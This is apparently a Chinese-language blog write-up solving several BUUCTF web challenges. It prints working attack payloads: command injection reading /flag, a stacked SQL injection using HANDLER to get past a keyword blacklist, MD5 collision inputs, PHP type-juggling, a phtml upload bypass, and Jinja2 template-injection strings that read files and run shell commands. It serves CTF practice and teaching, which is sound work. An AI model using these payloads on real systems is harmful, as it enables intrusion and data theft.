题目列表:

  • [ACTF2020 新生赛]Exec
  • [GWCTF 2019]我有一个数据库
  • [CISCN2019 总决赛 Day2 Web1]Easyweb
  • [GYCTF2020]Blacklist
  • [ACTF2020 新生赛]BackupFile
  • [BJDCTF2020]Easy MD5
  • [ACTF2020 新生赛]Upload
  • [BJDCTF 2nd]fake google

[ACTF2020 新生赛]Exec

没任何过滤的命令执行

;ls /

;cat /flag

[GWCTF 2019]我有一个数据库

很老套的phpmyadmin4.8.1文件包含漏洞

扫目录扫到phpmyadmin

看到版本号为4.8.1,知道存在文件包含漏洞

原理之前分析过,就不多说了

[GYCTF2020]Blacklist

##考点

堆叠注入中ALERT、RENAME、PREPARE受限的情况下使用HANDLER`绕过

解题

打开就看到很熟悉的页面,感觉很像以前做过的堆叠注入

这里先试试爆数据库

得到了数据库名

然后翻了翻这些库

supersqli库中看到了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

但直接from查询会出现正则,那就试试别的办法绕过,发现以前用过的预编译以及修改表名等都无法使用了

那就换个思路

https://dev.mysql.com/doc/refman/8.0/en/handler.html

大概思路就是利用HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问

Payload:

/?inject=0';use supersqli;show tables;HANDLER FlagHere OPEN;HANDLER FlagHere Read FIRST;HANDLER FlagHere CLOSE;-- -

[ACTF2020 新生赛]BackupFile

看到备份文件,试了试www.zip不是直接盲猜index.php.bak得到备份

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

这里考的是PHP弱类型

由于字符串和数字无法直接比较,当要比较时

会把字符串截取到只有数字的部分,这里给key传入123即可

[BJDCTF2020]Easy MD5

考点

  • md5(xxxx,true)的数据库查询绕过
  • MD5强弱比较

打开看到Response有提示

这个其实没加过,特地查了一下

大概这样

那这道题意思就是找一个字符串让成为or这种万能密码

这里找到了一个解题方法

https://www.jianshu.com/p/12125291f50d

大概就是

select * from 'admin' where password='or'6

在mysql布尔判断中,以数字开头的字符串会被转化为True

所以实际上就是`select * from ‘admin’ where password=’’or’1’恒为真

输入后进入新的界面

很基础的考点

绕过即可

然后新界面

这个是强比较,只能通过哈希碰撞来获得

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

只能用Burp发过去

[ACTF2020 新生赛]Upload

考点

phtml文件上传

解题

直接上传phtml即可

[BJDCTF 2nd]fake google

image-20200921140908899

提示给了模板注入,这里测试也得知是SSTI

image-20200921140938552

做了一下,很简单的模板注入,没有任何过滤

warnings.catch_warnings跑出来

import requests
import time
session = requests.session()

for i in range(0,300):
c = session.get("http://d3d59ee0-bf3f-4361-8030-0e831a2a2ef5.node3.buuoj.cn/qaq?name=%7B%7B%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B{}%5D%7D%7D".format(i))
print(c.text)
if "catch_warnings" in c.text:
print(i)
break
time.sleep(0.1)

image-20200921142527433

image-20200921142609997

魔改一下即可

?name={{"".__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}

image-20200921142420724

也可以直接跑那个

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}

image-20200921142704715